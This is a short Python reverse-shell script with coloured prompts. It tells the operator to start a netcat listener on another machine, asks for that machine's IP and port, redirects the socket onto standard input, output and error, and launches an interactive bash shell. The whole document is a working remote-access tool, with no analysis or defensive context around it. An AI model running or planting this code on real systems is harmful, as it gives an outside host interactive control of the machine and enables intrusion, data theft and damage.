#!/usr/bin/env python3 from os import dup2 from subprocess import run import socket # Function to print with color def print_color(message, color_code): print("\033[" + str(color_code) + "m" + message + "\033[0m") # Add spaces for clarity print_color("", 94) print_color("_________________________________________________________", 94) print_color("", 94) # Message print_color("Run nc nvlp 1234 on the other machine", 95) # Ask for the IP ip = input("\033[93mEnter the IP address: \033[0m") # Ask for the port default_port = 1234 port_input = input("\033[93mDefault port 1234? [c] to change: \033[0m") if port_input.lower() == 'c': port = int(input("\033[93mEnter the port: \033[0m")) else: port = default_port # Confirm before executing execute = input(f"\033[92mExecute connection to {ip} on port {port}? [Y/n']: \033[0m").strip().lower() if execute in ['', 'y']: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, port)) dup2(s.fileno(), 0) dup2(s.fileno(), 1) dup2(s.fileno(), 2) run(["/bin/bash", "-i"]) except Exception as e: print_color(f"Error connecting: {e}", 91) else: print_color("Operation cancelled.", 91)